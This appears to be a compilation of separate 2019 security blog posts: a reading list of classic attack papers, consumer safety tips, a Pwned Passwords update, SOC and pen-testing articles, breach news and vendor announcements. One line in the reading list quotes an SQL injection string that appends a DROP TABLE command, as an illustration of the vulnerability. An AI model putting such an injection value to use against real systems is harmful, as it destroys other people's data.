Summer Reading: Dive Into the Security Classics

Veracode Developer Reading List Dan Murphy

Shakespeare. Brontë. Dickens. In literature, the classics have long been a staple of summer reading lists. Computer security has its own share of classics – reference points that serve as a foundation for understanding the field’s ever-changing chessboard of attack and defense. This list of computer security summer reading can be enjoyed either lounging on the beach with sand beneath your toes, or curled up in bed with your face lit by the blue-filtered midnight glow of a tablet. Whether you are a new developer interested in learning more about computer security, or a seasoned practitioner looking to revisit some of the seminal works in the field, I hope that you enjoy the articles below as much as I did when I first stumbled across them!

Smashing the Stack for Fun and Profit

http://phrack.org/issues/49/14.html

Aleph One’s Smashing the Stack for Fun and Profit was truly eye-opening when it was first introduced. Sometimes the answer to “what does this block of code do?” can be “anything the caller wants it to!” This concept lives on in more modern incarnations like XSS and SQL injection, but Smashing the Stack is the granddaddy of code injection. I originally encountered it independently, and was pleasantly surprised years later when it resurfaced as legitimate assigned reading for a grad class. Taking the time to write some shell code is valuable to understanding the fundamentals of how code executes, and is a great puzzle. Check out https://travisf.net/smashing-the-stack-today for tips on recreating the environment today.

OG ODBC

http://www.phrack.org/issues/54/8.html

Under the inauspicious heading of “ODBC and MS SQL server 6.5,” this article explores a simple concept: what could happen if a web application copies the strings received from HTML form elements directly to SQL statements? We all know how that one ended. Twenty years later, there are more than 37 million Google hits for “sql injection.” By now, Bobby Tables is applying for his first job after graduating from “University’); DROP TABLE applicants; --”, and still getting results!

Dawn of XSS

https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf

CERT advisory CA-2000-02, since consigned to PDF archive, contains the following quote: “Because one source is injecting code into pages sent by another source, this vulnerability has also been described as ‘cross-site’ scripting.” The humble window.alert() function has been igniting developers’ limbic systems ever since with joy and terror, the latter being more common if you’re seeing it in prod.  Of course, XSS is much more dangerous than simply popping modals – untold millions of cookies have been exfiltrated since the line “malicious exploitation of this vulnerability has not been reported” was written in the advisory.

Tick TOC Tick TOU

https://www.usenix.org/legacy/events/fast05/tech/full_papers/wei/wei.pdf

Another class of attacks worth some summer reading is Time-of-Check to Time-of-Use. Sometimes the security put in place to thwart an attack has a race condition that can still allow an attacker to circumvent it. TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study is a great introduction to the concept, with some specific examples. You can get a more hands-on appreciation by doing (spoiler alert!) Level 2 of overthewire.org’s Leviathan challenge at http://overthewire.org/wargames/leviathan/. While the specifics for these classes of attacks have changed, the concepts are still very relevant: this spring (May 2019), a high-profile Docker bug – attributed to a TOCTOU flaw – allowed containers to break out and overwrite any file on the host as root (see: https://duo.com/decipher/docker-bug-allows-root-access-to-host-file-system and https://seclists.org/oss-sec/2019/q2/131).

Once Upon a Free

http://phrack.org/issues/57/9.html

Another tale of simple mistakes with direct consequences is contained within the bytes of Once Upon a Free. A dereference of an invalid pointer can be made much more insidious by controlling the contents of the memory being referenced, and how it gets used. By being aware of the implementation of an allocation scheme, an attack can predict and exploit a simple use of an invalid pointer to great effect. The write-up in https://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-of-cve-2014-1772-an-internet-explorer-use-after-free-vulnerability/ goes deep on an Internet Explorer vulnerability. Earlier this year, there was a very scary Chrome zero-day that built on use-after-free: https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/. One of the most interesting takeaways in these write-ups is the exploit code in JavaScript. You may not be writing C/C++ code, but almost all major browsers are implemented in native code, and it is important to understand what happens under the covers.

The Geometry of Innocent Flesh on the Bone

https://hovav.net/ucsd/dist/geometry.pdf

With stacks smashed and buffers overflowing with shell code, vendors introduced techniques to make stacks non-executable and limit the impact of code injection. But what it if were possible to hijack execution without injecting actual code? In The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86), Hovav Shacham shows how small gaps in the intended behavior of a system can be built upon to produce a system that produces dramatic results. There are signs in the Veracode restrooms that read “Employees must wash hands before returning to libc.” They still manage to make me grin every now and then.

How to Help Kids Build Strong Digital Habits Before Summer Slips Away

Few seasons are more important to the parent-child bond than summer. The days are longer, fewer activities are crowding the family calendar, and if we’re lucky, we can grab a few more quiet moments with one another.

So how will you spend these last few, magical weeks of summer before the frenzy of a new school year arrives? We hope it includes a lot more fun and taking time to connect with your kids about what’s going on in their online world.

Thanks to the results of a recent survey, we have some clear and current insight into the digital issues most important to parents.*

Survey: Top digital concerns for parents

  • Knowing which apps my children are using 66.67%
  • Knowing which sites my children are visiting 65.83%
  • Knowing what my children are posting online 62.50%
  • Being able to put parental controls on my children’s smartphone, tablet and/or computers 62.50%
  • Keeping photos of my children/ family safe 60.83%
  • Monitoring and/or limiting the amount of time my children spend online 55.83%
  • My children’s use of social media 55.00%
  • My children’s use of texting 52.50%

Before summer slips away, we challenge you (as well as ourselves!) to bring up these critical conversations with your kids. Doing so will help to equip them and give you peace of mind as your family heads closer to the new school year.

5 Digital Concerns & Solutions

  1. App Safety: Look at the apps on your child’s phone (don’t forget to look for decoy apps). Also, ask your child questions about his or her favorite apps and download and explore the app yourself. Analyze the content and culture. Check app reviews for potential dangers. Are the accounts your child follows on the app age-appropriate? Are the comments and conversations positive? Does your child know his or her followers? Is your child posting appropriately? Follow your gut, parent: If you believe the app is harmful, discuss the reasons, and delete the app.
  2. Track Online Activity: One of the most common questions we get at McAfee from parents is, “Where do I go to find out information about what my kids are doing online?” Simply put: You go where they go. Start with their phones. Depending on the age of your child, you as a parent can determine how frequently and how deeply you want to dive into your child’s apps, direct messages, and texts. An invasion of privacy? Perhaps, depending on your point of view and parenting style. But if you are genuinely concerned about your child’s online activity, then some form of monitoring is a must. Let your kids know you are monitoring their activity and why — there’s no need to spy. A few basics: Google your child’s name, check their PC online history log, agree on weekly phone checks, and open and explore phone apps. Sound like a lot of work? It is. The more efficient way of tracking online activity is using parental controls, which helps you set limits on sites visited, apps used, hours online, and location tracking. A comprehensive software solution can be a game-changer for parents who are exhausted with phone tracking routines and arguments.
  3. Time Limits: We know that excess screen time can lead to physical and emotional issues in kids, but reducing family screen time online can be a challenge. Cutting back takes consistent effort such as family media use rules, establishing phone-free zones like dinnertime, movie time, and family outings. Turning off notifications, deleting tempting apps, and having a phone curfew can significantly impact online time as can the use of parental controls.
  4. Smart Photo Sharing: Be mindful of the risks of sharing photos online and discuss them with your kids. Remind your child to lock privacy settings on each app, to only share photos with known friends, to turn off geo as well as photo tagging, and to never share inappropriate images online.
  5. Safe Texting: When it comes to texting, parents often want to know how to curb the amount of texting, and if the content is harmful. To help curb texting: Teach kids self-control and remind them that they don’t have to respond to friends right away. Challenge them to turn off text notifications and only check their phone at set times. Reduce texting anxiety by enforcing a phone curfew, so kids don’t text into the night or wake up to text conversations. On the topic of content: If you know there’s an issue — get equipped so you can respond. Understand what’s going on with group chat conflict, cyberbullying, and the texting slag kids use.

While monitoring and parental controls are two of the best tools parents have, we know that equipping kids to be safe online comes down to two things: A strong parent-child connection and engaged parenting. This will look different in the context of every family but might include creating age-appropriate family ground rules for online activity (and enforcing them!), open communication, modeling a healthy digital balance, and taking the time to listen to your child and what’s going on in his or her life and heart.

* McAfee commissioned Response Marketing to conduct a survey in the U.S. in April 2019.

The post How to Help Kids Build Strong Digital Habits Before Summer Slips Away appeared first on McAfee Blogs.

Evolved IoT Linux Worm Targets Users’ Devices

Since the early ‘90s, Linux has been a cornerstone of computer operating systems. Today, Linux is everywhere — from smartphones and streaming devices to smart cars and refrigerators. This operating system has been historically less susceptible to malware, unlike its contemporaries such as Windows or Mac OS. However, the widespread adoption of IoT devices has changed that, as security vulnerabilities within Linux have been found over time. These flaws have been both examined by researchers in order to make repairs and also exploited by hackers in order to cause disruption.

As recently as last month, a new strain of a Linux bricking worm appeared, targeting IoT devices– like tablets, wearables, and other multimedia players. A bricking worm is a type of malware that aims to permanently disable the system it infects. This particular strain, dubbed Silex, was able to break the operating systems of at least 4,000 devices. By targeting unsecured IoT devices running on Linux, or Unix configurations, the malware went to work. It quickly rendered devices unusable by trashing device storage, as well as removing firewalls and other network configurations. With this threat, many users will initially think their IoT device is broken, when really it is momentarily infected. To resolve the issue, users must manually download and reinstall the device’s firmware, which can be a time consuming and difficult task. And while this incident is now resolved, Silex serves as a cautionary tale to users and manufacturers alike as IoT devices continue to proliferate almost every aspect of everyday life.

With an estimated 75.4 billion IoT connected devices installed worldwide by 2025, it’s important for users to remain focused on securing all their devices. Consider these tips to up your personal device security:

  • Keep your security software up-to-date. Software and firmware patches are always being released by companies. These updates are made to combat newly discovered vulnerabilities, so be sure to update every time you’re prompted to.
  • Pay attention to the news. With more and more information coming out around vulnerabilities and flaws, companies are more frequently sending out updates for IoT devices. While these should come to you automatically, be sure to pay attention to what is going on in the space of IoT security to ensure you’re always in the know.
  • Change your device’s factory security settings. When it comes to IoT products, many manufacturers aren’t thinking “security first.” A device may be vulnerable as soon as the box is opened, and many cybercriminals know how to get into vulnerable IoT devices via default settings. By changing the factory settings, you are instantly upgrading your device’s security.
  • Use best practices for linked accounts. If you connect a service that leverages a credit card, protect that linked service account with strong passwords and two-factor authentication (2FA) where possible. In addition, pay attention to notification emails, especially those regarding new orders for goods or services. If you notice suspicious activity, act accordingly.
  • Set up a separate IoT network. Consider setting up a second network for your IoT devices that doesn’t share access with your other devices and data. You can check your router manufacturer’s website to learn how. You may also want to add another network for guests and their devices.
  • Get security at the start. Lastly, consider getting a router with built-in security features to make it easier to protect all the devices in your home from one place.

Interested in learning more about IoT and mobile security trends and information? Follow @McAfee_Home on Twitter, and ‘Like” us on Facebook.

The post Evolved IoT Linux Worm Targets Users’ Devices appeared first on McAfee Blogs.

Pwned Passwords, Version 5

Pwned Passwords, Version 5

Almost 2 years ago to the day, I wrote about Passwords Evolved: Authentication Guidance for the Modern Era. This wasn't so much an original work on my behalf as it was a consolidation of advice from the likes of NIST, the NCSC and Microsoft about how we should be doing authentication today. I love that piece because so much of it flies in the face of traditional thinking about passwords, for example:

  1. Don't impose composition rules (upper case, lower case, numbers, etc)
  2. Don't mandate password rotation (enforced changing of it every few months)
  3. Never implement password hints

And of most relevance to the discussion here today, don't allow people to use passwords that have already been exposed in a data breach. Shortly after that blog post I launched Pwned Passwords with 306M passwords from previous breach corpuses. I made the data downloadable and also made it searchable via an API, except there are obvious issues with enabling someone to send passwords to me even if they're hashed as they were in that first instance. Fast forward to Feb last year and with Cloudflare's help, I launched Pwned Passwords version 2 with a k-anonymity model. The data was all still downloadable if you wanted to run the whole thing offline, but k-anonymity also gave people the ability to hit the API without disclosing the original password. Subsequent updates to the corpus of breached passwords saw versions 3 and 4 arrive as more passwords flowed in from new breaches whilst the system also continued to grow and grow:

Today, after another 6 months of collecting passwords, I'm releasing version 5 of the service. During this time I collected 65M passwords from breaches where they were made available in plain text (I don't crack passwords for this service). Due to Pwned Passwords already having 551M records as of V4, increasingly new corpuses of passwords are actually adding very few new ones so V5 contributes an additional... 3,768,890 passwords. That may not seem like a lot in comparison, but my virtue of an entire half year passing I wanted to get the existing public set updated to the current numbers. It doesn't just add new ones though, those 65M occurrences all contribute to the exiting prevalence counts for passwords that have been seen before.

New passwords include such strings as "Mynoob" (seen 1,208 times), "Find_pass" (303 times) and "guns and robots" (134 times). There's often biases in password distribution due to the sources they're obtained from, for example the prevalence of the service's name or other attributes or relationships to the breached site.

The entire 555,278,657 passwords are now available for download if you're running the service offline. If you're using the k-anonymity API then there's nothing more to do - I've already flushed cache at Cloudflare so you're now getting the latest and greatest set of bad passwords. If you want to be sure you're getting the latest data via the API, check the "last-modified" response header has a July date rather than a January date.

And just while I'm here talking about updates to the corpus of Pwned Passwords, I'm really conscious that releases are happening on a half-yearly cadence which means a bunch of new passwords sit on my side for months before anyone can start black-listing them. This is one of the things that's high on my post-Project Svalbard list; I'd love to see a constant firehose of new passwords being integrated into this service. Not six-monthly, not monthly and frankly, not even weekly - I want to see passwords in there as soon as I get them. The shorter the period between a breached password entering circulation and it appearing in Pwned Passwords, the more impact the service can have on the scourge of credential stuffing. Stay tuned!

As time has passed and more organisations have implemented the service, there's been some really fantastic implementations come out of the community. I wrote about a bunch of them last year in my post on Pwned Passwords in Practice, but it's the work they've done at EVE Online that really stands out:

Obviously these are all some of my favourite things (HIBP, 1Password and Report URI), but it's the improvements made to the user selection of passwords that makes me particularly happy:

When we first implemented the check, about 19% of logins were greeted with the message that their password was not safe enough. Today, this has dropped down to around 11-12% and hopefully will continue to go down.

That's a massive drop that has a profoundly positive impact not just on the individuals using EVE Online, but to the company itself too. Account takeover attacks are a massive problem on the web today and if you reduce the proportion of customers using known bad passwords by up to 42%, you make a direct impact on the cost the organisation has to bear when dealing with the problem.

The NTLM hashes have been really well-received too as they've allowed organisations to quickly check the proportion of their Active Directory users with known bad passwords. Consistently, I'm hearing the results of this exercise are... alarming:

I've been really happy to see a bunch of community offerings appear around the NTLM hashes in particular. Most notable is this one by Ryan Newington:

What's great about this work is that not only can it stop people from making bad password choices in the first place, you'll see there's a reference towards the bottom that'll allow you to run it against your entire set of AD users on demand. And just like Pwned Passwords itself, it's 100% free and you can go and grab it all right now.

So that's Pwned Passwords V5 now live. Implement the k-anonymity API with a few lines of code or if you want to run it all offline, download the data directly. Either way, take it and do awesome things with it!

The Ever-Evolving SOC

In the 17th century, poet John Donne wrote, “no man is an island entire of itself.” He also mentioned every man is “a part of the main.” Fast forward to the 21st century and you’ll find this concept still rings true, especially as it relates to security.

Like everything else in the world, the security industry is constantly evolving. More sophisticated, targeted threats are emerging at an exponential rate and organizations need high-caliber solutions – and strategy – to keep up. However, when organizations act independently, they put themselves at risk by not incorporating the lessons learned from others or they experience roadblocks that delay resolution when they do not have access to full context or information. Keeping true to Donne’s word, every organization must realize they are in the same fight together, which is why we’ve seen the rise of fusion centers across the globe.

New Problems, New SOCs

Taking Security Operations Centers (SOCs) to the next level, fusion centers are designed to knowledge share. They connect all parts of an organization, with the end goal to increase transparency and visibility to rapidly uncover posed threats either before they happen, or quickly stop them in their tracks. Additionally, fusion centers have a key benefit: they help to advance the cybersecurity industry by identifying new cybersecurity product and solution needs to maintain a steady pace against the evolution of threats.

Operating at a global scale, fusion centers have proven to be an avenue to rapidly process and centralize seemingly unrelated and dispersed information. Using analytics to identify patterns and behaviors from a tremendous amount of data across multiple endpoints facilitates increased threat detection and correction – allowing for real-time remediation.

Advice for Enterprises

Access to intelligence and better, more coordinated strategies are imperative for enterprises to succeed in 2019 and beyond. To break it down, the intent of threat actors is to “beat” existing security measures in place, however it is harder for them to succeed attacking multiple pieces of technology. Fusion centers provide the self-actualization the industry needs, including using artificial intelligence and feedback mechanisms to present a more well-rounded approach to stop attackers.

For example, if an organization has one attack with an existing pattern, without the information fusion centers can provide, data breaches experience greater time to detect. The threats from this additional time spent can have dire consequences. A longer detection and response time can equate to damage to an organization’s reputation as well as financial impact through loss of revenue. Organizations should be striving to find a way to reciprocally share intelligence – it is absolutely a two-way street. The more structure behind identifying multiple data elements correlated with threat actors’ patterns, the greater chance threats will quicker to find and fix.

We’ve seen some additional benefits and lessons learned from fusion centers, including:

  • Focus on people and process – Technology is only part of the solution. For now, humans need to work alongside machines and technology in order to thrive. The conversation has moved from a single individual asking, “How do I use this tool to the best of my capability,” to an all-in mentality that is focused on the broader organization to improve overall processes and approach.
  • Consolidation is key – The disparity of data and information introduces room for error. Having a different point product on every endpoint creates complexity and introduces risks. Simplification of an organization’s security environment, including combination and coordination between tool sets, is beneficial. Organizations should strategically choose which vendors they would like to work with and evaluate how solutions can work together to provide ultimate optimization.
  • Great foundation, better security hygiene – A major lesson some organizations learn the hard way is that in hindsight, they should have exercised better practices to drive maturity within their SOC. Having a strong control of assets and information and knowing where data lies at any given time is extremely critical. Without this, organizations risk the chance of being blindsided when they go to investigate a case and find an asset on their network they were unaware of.
  • Strengthen existing processes – Make sure your organization’s authentication is secured so you are aware of user behavior occurring across everything. Additionally, organizations need to examine their patching cycles and vulnerabilities management programs to identify any flaws that can be addressed. This allows for the maturity of their SOC – and furthermore – provides another opportunity to stay ahead of the curve.

It takes a village

Knowing the talent gap the cybersecurity industry still faces, CISOs need to be prominent leaders in their organization to shape the future of how the SOC evolves and how fusion centers can be leveraged to thwart or quickly remedy attacks. The challenges will only get more complex, so investing in continual education, mentoring of existing and new employees and staying abreast of trends and new technologies will be crucial.

The post The Ever-Evolving SOC appeared first on McAfee Blogs.

British Airways Faces £183m Fine Following Data Breach

Veracode British Airways GDPR Data Breach Fine

The Information Commissioner’s Office (ICO) has handed British Airways what it claims is the biggest penalty – and the first to be made public under new rules – since the General Data Protection Regulation (GDPR) came into play last year. According to the ICO, 500,000 customers had their personal information compromised during the 2018 breach, and the airline needs to pay up – to the tune of £183 million.

According to the BBC, British Airways, owned by IAG, has said that it is “surprised and disappointed” by the penalty, following an attack by hackers who allegedly carried out a “sophisticated, malicious criminal attack” on its website. The airline first disclosed the incident on Sept. 6, 2018 and had initially reported roughly 380,000 transactions had been affected.

The ICO, which believes the attack began in June 2018, found that user traffic to BA’s website was re-routed to a fraudulent website that gave hackers the ability to steal customer information. As a result of the airline’s poor security posture, customer log in information, payment card and travel booking details, and names and addresses were compromised.

In a statement, Information Commissioner Elizabeth Denham said, “People's personal data is just that - personal. When an organisation fails to protect it from loss, damage or theft, it is more than an inconvenience. That's why the law is clear - when you are entrusted with personal data, you must look after it. Those that don't will face scrutiny from my office to check they have taken appropriate steps to protect fundamental privacy rights.”

Ensuring that your organization is in compliance with GDPR is critical for both your customers’ protection and your bottom line. To learn more about how Veracode DevOps Penetration Testing can be used to meet compliance requirements, check out this blog post.

What is the difference between penetration testing and bug bounty programmes?

To stay secure many businesses regularly test their systems to identify vulnerabilities. Penetration testing is one of the most common types of cyber security assessment but in recent years a growing number of businesses have also turned to ‘bug bounty’ programmes to supplement their testing programmes.

Penetration testing (often referred to as pen testing) is a well-known and established form of assessment, typically carried out by a company that specialises in ethical hacking. (Covered here in great detail by Redscan’s extensive glossary). Bug bounty programmes, however, are a more recent offering, viewed by many as a complement to penetration testing, helping to widen the scope of security testing on platforms that are already well-secured against attacks.

Many large organisations run their own on bug bounty programmes, including Google, Facebook and Microsoft (which paid out millions in bounties in 2018). Even the EU has begun funding programmes.

In fact, according to Gartner, by 2022, automated and CSSTP (crowdsourced security testing platform) products and services will be employed by more than 50 per cent of enterprises, rising from fewer than 5 per cent today. In this article we take a look at the key differences between security testing offered by pen testing providers and bug bounty programmes.

  1. The expertise

Pen tests are carried out by experienced ethical hackers employed by specialist cyber security companies. Professional ethical hackers are required to have undertaken qualifications in cyber security, ensuring that they have an in-depth knowledge of the legal, technical, and ethical aspects of testing. Before any work is undertaken by a penetration tester, it is common practice to know the person’s identity and sign a contract to agree the scope of the work.

Bug bounty programmes also attract professional ethical hackers, however, as anyone can sign up to a programme, testing will typically be carried out by a mixture of professionals and amateurs, with hugely varied experience, knowledge, and ethics. Bug bounties tend to attract students and those looking to practice their ethical hacking skills. For this reason there can be lots of fake, duplicate and/or false vulnerabilities reported.

  1. The scope

Pen tests are conducted to meet the exacting needs of a specific client. Indeed, there are many types of assessment, ranging from internal and external network testing, to web application testing, wireless testing, and more. Testing can also be arranged to suit the operational requirements of a business, for example, by being conducted outside of regular working hours.

Bug bounty programmes are focussed only on testing websites and web applications that are publicly accessible. For this reason, bounty programs aren’t able to detect vulnerabilities inside a network or before websites and applications go live. The scope of the testing is also typically far less well defined, and sometimes organisations will not receive the type of feedback they are seeking.

  1. The duration

Penetration testing for web applications is usually carried out over a relatively short time – perhaps two to three days.

Big bounty programmes, on the other hand, are not conducted in line with specific deadlines and for this reason are best used for continuous testing. This makes them ideal for large technology businesses that are constantly releasing new products and updates. But it also means they are less useful for companies that have less frequent release cycles.

  1. The cost

The cost of a penetration test is typically based on the number of days required for hackers to achieve the agreed objective of the test.

Most bug bounty platforms, on the otherhand, allow organisations to set the price they are prepared to pay. While this may seem appealing, setting bounties too low might well deter testers. On the flipside, if a huge number of vulnerabilities are discovered, costs can quickly mount up.

Some bug bounty programs offer rewards for £100,000s but such single pay outs remain the exception.

  1. The feedback

Any good penetration test will not only identify exposures, but will also provide the feedback and support needed to address them. Bug bounty programmes are focussed solely on discovering vulnerabilities and for this reason the level of feedback will generally be low.

If an organisation manages its own bug bounty program, it may struggle to deal with an influx of reports from testers.

 

The post What is the difference between penetration testing and bug bounty programmes? appeared first on CyberDB.

Summer Scam Alerts: Don’t Let Crooks Wreck Your Family Travel Plans

While our click-and-pay digital lifestyle makes accessing travel and entertainment more convenient, for every app or website we loop into our travel plans, crooks gain a potential pathway into our lives.

This summer, be mindful that while you intend to relax and unwind a little, cybercriminals are working overtime to catch consumers off guard. Here are just a few of the latest scams that could affect your family travel plans this summer and a few tips on how to amp your security.

5 Summer Scams to Look Out For

  1. Bogus booking sites. If that flight, accommodation, or rental deal is too good to be true, pause before you purchase. According to a recent study, 30% of respondents have been defrauded by malicious travel deals.
    Summer safety tip: Pause before you purchase and think before you click. Scammers will use fake websites, apps, or phishing emails to get you to purchase. These scams are designed to access your credit card, personal information, or to download malware onto your device. Unsure about a company’s legitimacy? Check the Better Business Bureau for reviews from previous customers. Also, use a comprehensive security solution that includes McAfee WebAdvisor to help identify malicious websites.
  2. Unsecured wi-fi attacks. If you are staying in a hotel and access its wifi for your family’s entertainment or if you check your email or bank account from a coffee house (or any other public wifi) while on vacation, you are opening you and your family up to serious risk. Cyber thieves are like moths to a flame when it comes to public wifi. They can eavesdrop and grab personal data or access your devices.
    Summer safety tip: In public? Connect with caution. Consider subscribing to a  virtual private network (VPN) to encrypt your online activity and give your family secure internet access no matter where you are.
  3. Vacation phone/direct mail scams. Haven’t you heard the good news? You (or your child) have been chosen to travel free or be part of an exclusive student experience abroad. You may think you’d never fall for such a call, but people get lured in by super-friendly phone agents all the time pitching free or bargain vacations, camps, and tours. Be alert to offers promoted for a “Limited Time Only,” or that require “Payment in Advance.”
    Summer safety tip: Never pay a company with a pre-paid debit card or via wiring the funds. If you do purchase only do so with a credit card since credit card companies allow you to contest fraudulent charges.
  4. Device theft. Distracted vacationers are the perfect target for thieves looking to steal devices, be it a phone, laptop, tablet, or game. Crooks hope to access your data or resell your hardware for fast cash.
    Summer safety tip: Most lost devices get left behind by the owner, so keep your device close and secure at all times. Make sure your smartphone is password-protected, the lock screen is enabled, and the Find My Phone app is on.
  5. Rideshare scams. Rideshare apps like Uber and Lyft can be your only transportation while on a family vacation. Be on alert for several scams including fraudulent charges, phishing emails from the ride company asking you to reset your password, and, of course, fake/criminal drivers.
    Summer safety tip: Never change your password by clicking an email or text link. Always use the app itself or go directly to the company’s website. Double-check your ride receipt for extra charges, and always confirm the name of your driver and make of the vehicle before getting inside.

If you’ve been a victim of any travel scam, you can report your experience to any or all of these places: BBB.org/ScamTracker, FTC Complaint Assist, or the Internet Crime Complaint Center (IC3) to help other consumers avoid falling prey to travel scams.

The post Summer Scam Alerts: Don’t Let Crooks Wreck Your Family Travel Plans appeared first on McAfee Blogs.

Hacked forensic firm pays ransom after malware attack

Largest private provider Eurofins hands over undisclosed fee to regain control of systems

Britain’s largest private forensics provider has paid a ransom to hackers after its IT systems were brought to a standstill by a cyber-attack, it has been reported.

Eurofins, which is thought to carry out about half of all private forensic analysis, was targeted in a ransomware attack on 2 June, which the company described at the time as “highly sophisticated”. Three weeks later the company said its operations were “returning to normal”, but did not disclose whether or not a ransom had been paid.

Continue reading...

Weekly Update 146

Weekly Update 146

After a very non-stop Cyber Week in Israel, I'm back in Oslo working through the endless emails and other logistics related to Project Svalbard. In my haste this week, I put out a really poorly worded tweet which I've tried to clarify in this week's video. On more positive news, the Austrian government came on board HIBP and my MVP status got renewed for the 9th time. I also wanted to talk this week about some of the stats from HIBP I've been preparing as part of the acquisition. There's a bunch of really interesting numbers in there (for me at least) and rather than just keeping them locked away in an information memorandum, I thought I'd share them with everyone in this week's update.

Weekly Update 146
Weekly Update 146
Weekly Update 146

References

  1. The Austrian government is now using HIBP to monitor all gov domains across the country (they join the UK, Australia and Spain in utilising this free service)
  2. My MVP status has been renewed, now going into year 9! (this program has been a real defining part of my career)
  3. Shape Security is sponsoring my blog this week (Captcha is no longer enough, they're talking about how Shape Connect blocks automation & improves security instantly, with a 30 minute implementation)

Cloudbric Listed on Bitsdaq Exchange, the Trading Platform Powered by Bittrex

Cloudbric’s cryptocurrency CLB was recently listed on the global exchange Bitsdaq on July 4 and began trading on the platform July 5. 

Bitsdaq was launched as a digital asset trading platform that leverages Bittrex’s cutting-edge technology to provide customers a secure, advanced and reliable platform and extensive selection of digital tokens.

Recently, Bitsdaq listed seven new projects including Cloudbric’s to promote quality projects in the second half of 2019. Cloudbric’s trading pair CLB/BTC will be exclusively offered in Bitsaq. Meanwhile, other trading paids such as CLB/ETH will be available in the near future. 

The Bitsdaq App received a positive response within two weeks of its official launch. The app is available on both Android and iOS conveniently allowing users to trade CLB: 

Cloudbric has been diligently began preparing to launch a personal security app during 3Q following the launch of their partner Klaytn’s mainnet, orchestrated by KakaoTalk’s blockchain subsidiary Ground X. The app will provide a type of cryptocurrency asset verification service to individual users.

The app will first be available for free at its launch to emphasize the importance of cryptocurrency asset protection. It’s also part of Cloudbric’s mission to help in creating a secure blockchain ecosystem.

 


Make sure to follow us on our social media platforms (LinkedInTwitter, and Facebook) and our recently opened Telegram Announcement Channel for the latest updates!

The post Cloudbric Listed on Bitsdaq Exchange, the Trading Platform Powered by Bittrex appeared first on Cloudbric.

Introducing Veracode’s New Analytics Capabilities

If we have data, let's look at data. If all we have are opinions, let's go with mine." -- Jim Barksdale

The ability to report on your application security program depends on access to your AppSec data. For questions from “how can I help my board understand our current risk posture?” to “which teams are developing secure code, and which need additional AppSec training?” – data is the key. Nobody should guess when it comes to answering questions as important as “are we compliant?”

We have recently transformed how Veracode helps you answer questions regarding your AppSec program. By building an entirely new back-end infrastructure and using a cutting-edge analytics tool, we’ve been able to give our customers new insights into our data and provide a hub for AppSec analytics, right within the Veracode platform.

The goals of our new analytics

As part of our analytics re-design, we needed to support two use cases: (1) our customers’ analytics needs in the platform using the embedded BI tool, and (2) our internal sales and services staff’s analytics needs using a standalone BI tool. To provide this functionality, we needed a tool that could support our security model and multi-tenancy while providing excellent performance, scalability, flexibility, and support in a Veracode-hosted environment. 

Behind the scenes of the analytics overhaul

Our new infrastructure design started with moving data into the AWS cloud, and replicating scan, findings, and organizational data into an AWS Redshift database. This database drives our existing reporting capabilities both in the platform and in any custom reports we create, and the performance has been outstanding. From there, we use SQL transformations to take our operational schema and map the data into a “star schema.” The star schema is a simple schema designed to avoid multiple joins in queries, which thereby optimizes performance in analytics queries. We replicate this star schema into our smaller back-end Redshift databases, which feed data into two BI instances. 

 

 

Our standalone BI instance, used internally at Veracode to understand our customers’ AppSec portfolios, was developed first. Internal Analytics contains scans and findings data, as well as operational and low-level data that wouldn’t be of interest to a customer but is useful for our internal analytics. Once data was available in Internal Analytics, we set up meetings with SMEs across Veracode to build standardized dashboards that would provide value across Veracode. We defined the set of questions that Veracoders wanted to answer for their customers, e.g., “are we compliant?”, “how long do our scans take?”, “how frequently do we scan?”, and built dashboards that answered those questions. This resulted in nine shared dashboards and four “explores,” which provided our internal users with the ability to answer the bulk of their questions about Veracode’s customer base. The shared dashboards provide a good starting point for our users, and then if they wish to explore data from scratch they can start at one of the pre-defined “explore” levels: Applications, Scans, Findings, or Users.

Once Internal Analytics was generally available, we turned our sights on our external BI instance, the Veracode Analytics feature, which contains a subset of the data available in Internal Analytics. We realized early on that our internal and external customers have many of the same questions, and we were able to reuse eight of the nine dashboards in our new analytics offering, which you can see under Veracode Dashboards in the Analytics section of the Veracode platform. The four predefined explores are also available in the platform for new analyses.

 

 

We have designed these solutions so that the same built-in dashboards, base data, and data models are used in both internal and external analytics, which reduces both the development time and testing required for these shared dashboards. By creating automated test suites and a well-defined automated CI/CD pipeline for our dashboards and data models, we can ensure that new development in our analytics environment will not break the existing analytics. 

Security policy

Security is job #1 (and #2, and #3, and so on) at Veracode, so we hold ourselves to exceptionally high standards when it comes to security. This means we encrypt data both in transit and at rest, and focus on data security at all levels. Additionally, we “practice what we preach” here at Veracode, meaning all of our data engineering and analytics code is scanned using Veracode, and our strict policies mean we continually monitor our own policy compliance. 

Take advantage of our new capabilities

Now that the Veracode Analytics solution is live and available to all customers, I encourage you to use it to understand your AppSec risk posture. Start with our built-in dashboards, and then play around. With each tile in a dashboard, you can right click in the top left corner and choose “explore from here” to change the visualization. Data is power, and we are happy to be putting the power of AppSec data in our customers’ hands!

Is Your Smart Home Secure? 5 Tips to Help You Connect Confidently

With so many smart home devices being used today, it’s no surprise that users would want a tool to help them manage this technology. That’s where Orvibo comes in. This smart home platform helps users manage their smart appliances such as security cameras, smart lightbulbs, thermostats, and more. Unfortunately, the company left an Elasticsearch server online without a password, exposing billions of user records.

The database was found in mid-June, meaning it’s been exposed to the internet for two weeks. The database appears to have cycled through at least two billion log entries, each containing data about Orvibo SmartMate customers. This data includes customer email addresses, the IP address of the smart home devices, Orvibo usernames, and hashed passwords.

 

More IoT devices are being created every day and we as users are eager to bring them into our homes. However, device manufacturers need to make sure that they are creating these devices with at least the basic amount of security protection so users can feel confident utilizing them. Likewise, it’s important for users to remember what risks are associated with these internet-connected devices if they don’t practice proper cybersecurity hygiene. Taking the time to properly secure your devices can mean the difference between a cybercriminal accessing your home network or not. Check out these tips to help you remain secure when using your IoT devices:

  • Research before you buy. Although you might be eager to get the latest device, some are made more secure than others. Look for devices that make it easy to disable unnecessary features, update software, or change default passwords. If you already have an older device that lacks these features, consider upgrading.
  • Safeguard your devices. Before you connect a new IoT device to your network, be sure to change the default username and password to something strong and unique. Hackers often know the default settings of various IoT devices and share them online for others to expose. Turn off other manufacturer settings that don’t benefit you, like remote access, which could be used by cybercriminals to access your system.
